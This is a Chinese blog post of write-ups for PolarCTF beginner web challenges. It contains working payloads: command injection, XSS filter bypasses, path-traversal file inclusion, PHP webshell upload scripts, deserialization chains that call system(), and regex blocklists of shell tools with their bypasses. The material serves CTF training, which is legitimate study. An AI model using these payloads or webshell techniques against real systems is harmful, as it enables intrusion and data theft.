polar CTF web简单
swp
提示.swp文件
访问一下
/.index.php.swp
观察代码发现,最大回溯上限绕过preg_match
构造脚本
import requests
url = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {
'xdmtql': 'sys nb'+'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)
运行脚本,获得flag
简单rce
过滤了空格,可以联想到用include直接包含/flag
/?sys=include"/flag";
需要输入一个POST参数yyds=666
要求点到第九个单子给flag
尝试输入?id=9不管用
在源码里直接把一个的id改成9最后成功
召唤神龙
在游戏结束这里查看调试器
在main.js里面发现了JSfuck解密
直接在控制台执行
改成1后直接获得另外两个flag
按顺序拼接
flag{7ac5b3ca8737a70f029dc0ad71dadd11}
将学号位置最后一个数改成2回显了f继续更改,挨个查看
逐个尝试02到11挨个回显一个字母,拼接起来就是flag
flag{dlcg}
点了一下Enter没发现什么有用的
查看源码发现是UA
抓包更改即可
改成iphone 获得flag
直接<script>alert(1)</script>
被绕过了
双写试试
<scrscriptipt>alert(1)</scrscriptipt>
绕过成功但是还不行,试试">闭合
"><scrscriptipt>alert(1)</scrscriptipt>
成功弹窗
$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的
global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用
$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。
get方式传入 一个pass变量,且满足其md5值 满足
爆破pass值试试
在源码里看到了ip和ping用拼接符试试
127.0.0.1|ls
因为flag被注释了,要上源代码里找一下
发现了shell文件和index的备份文件
shell文件需要密码
在index.php.bak里面发现大量内容,怀疑shell的密码就再里面,爆破一下
爆出nikel是密码,不在bp里查看的话直接在shell里输入也可以得到flag
?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag
解密得flag
提交这里无法点击
在查看器里删掉disabled 再随便输一个数就可以获得提示
接下来需要把maxlength的数值调大一点,不然ilovejijcxy输不全
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件
查看cookie
然后上传一句话木马
蚁剑连接获得flag
Click Me 不让点,上编辑器里删掉disabled就可以了
点击后给出fla.php
得到flag
robots
名字都叫robots了直接查看一下
发现fl0g.php
访问获得flag
直接构造
回显了flag.php
避免直接执行,用include和php伪协议就行了
解码
?id=a[0]=www.polarctf.com
系统命令执行函数没ban干净
payload
?a=passthru('cat f*');
uploader
这是个无过滤文件上传,还回显路径
用脚本进行文件上传
import requests
url = 'http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/' # 替换成你的服务器地址
files = {'file': open('D:\Python\yijihua.php', 'rb')} # 将文件名替换为你想上传的文件
response = requests.post(url, files=files)
if response.status_code == 200:
print("文件上传成功!")
print("服务器返回的消息:", response.text)
else:
print("文件上传失败!")
print("错误码:", response.status_code)
上传成功
拿到$sandbox和filename,拼接得到文件路径
http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/f5447ed4e91b2ecf95fbc072c2843147/yijihua.php
蚁剑连接,获取flag
覆盖
这题和“干正则”一样,不在进行解释,具体过程观看干正则
PHP反序列化初试
Easy.__wakeup -> Evil.__toString
注意这里的shell_exec也是echo给了回显
开始构造
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$a = new Easy();
$b = new Evil();
$a->name=$b;
$b->evil="tac f*";
var_dump(serialize($a));
?>
注意:$env哪里要换成public不然是不行的
机器人
既然说了别爬,那就爬一下吧
果然,都是骗人的,说着不让爬,却非常想要被爬
发现了一半的flag
Disallow是一个目录,怀疑剩下的flag在里面,直接访问
/27f5e15b6af3223f1176293cd015771d/flag.php
获得后半段flag
拼接获得
flag{4749ea1ea481a5d56685442c8516b61c}
扫扫看
让扫一扫,那就用dirsearch扫扫看
发现了flag.php
查看源码,发现在源码里面
debudao
以为是注入或命令执行,结果都不是,看源码看到一个flag,结果还是个错的
查看网络,看看cookie
发现flag
审计
审计代码,用md5值还是0e开头,那就直接用0e215962017
它md5后的值是本身
upload1
上传界面,正常长传一句话木马试试
上传成功,蚁剑连接试试
获得falg
rapyiquan
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}
if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
分析代码
传参是c_md,_被过滤,可以用[代替
先用ls查看一下根目录
可以用右斜杠绕过过滤
?c[md=l\s /
用cat查看
?c[md=c\at /fl\ag.php
查看源代码,获得flag
bllbl_ser1
一道反序列化
这里我们可以用到的是eval函数
我们需要触发close,需要先触发bllliang,要触发bllliang需要先触发销毁函数__destruct()
构造payload
<?php
class bllbl
{
public $qiang;
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er = 'system("ls /");';
function close(){
eval($this->er);
}
}
$a = new bllbl();
$b = new bllnbnl();
$a->qiang = $b;
var_dump(serialize($a));
?>
O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:15:"system("ls /");";}}
查看源码,显示了都有那些文件
再次构造
<?php
class bllbl
{
public $qiang;
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er = 'system("cat /flag");';
function close(){
eval($this->er);
}
}
$a = new bllbl();
$b = new bllnbnl();
$a->qiang = $b;
var_dump(serialize($a));
?>
O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system("cat /flag");";}}
查看源码,发现flag
1ncIud3
用page输出了flag提示要换一些字母
?page=flag
根据题目提示常见的替换有
f1a9 f1ag f149
又因为是在某个目录下,所以用..././为一组,不出意外基本题型最多也就四组,四组还不行的话就换命令了
?page=..././..././f1a9
可获得flag
投喂
这题是个反序列化
POST传一个data的参数,建一个User的类,并且用username和is_admin两个属性对User进行一个序列化,是最后的is_admin=true
根据要求构造序列化代码
<?php
class User
{
public $username;
public $is_admin;
}
$a= new User();
$a->is_admin=true;
var_dump(serialize($a));
?>
O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}
狗黑子的RCE
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2);
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1);
}else{
echo "gouheizi!";
}
?>
观察代码,没有过滤 ‘\’ ‘/’
gouheizi1采用转义绕过。gouheizi2会被正则匹配将gouheizi字符替换为空,使用双写绕过
button
查看源码,发现一个js文件,访问看看
发现一个有flag的路径
访问并查看源码获得flag
井字棋
这题应该分赢了和输了
查看源码
是declareWinner进行输出,直接在控制台输出应该就可以了
简单的导航站
管理员登录哪里提示账号不一定是admin,估计要找,先注册并登录
查看用户列表
开始审计
是md5强比较,直接构造
给以一堆的用户名,需要爆破
在最初的网址导航界面,查看源码可以找到密码Admin1234!
开始爆破
找到账户P0la2adm1n
进入后继续上传一句话木马
这题没有过滤,直接上传即可,然后文件一般情况放在uploads的下面,访问就可以
上传成功
看见了许多flag
要通过爆破flag认证系统才能获得正确的flag
获得正确flag
本文来自博客园,作者:kriton,转载请注明原文链接:https://www.cnblogs.com/kriton/p/18604989
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步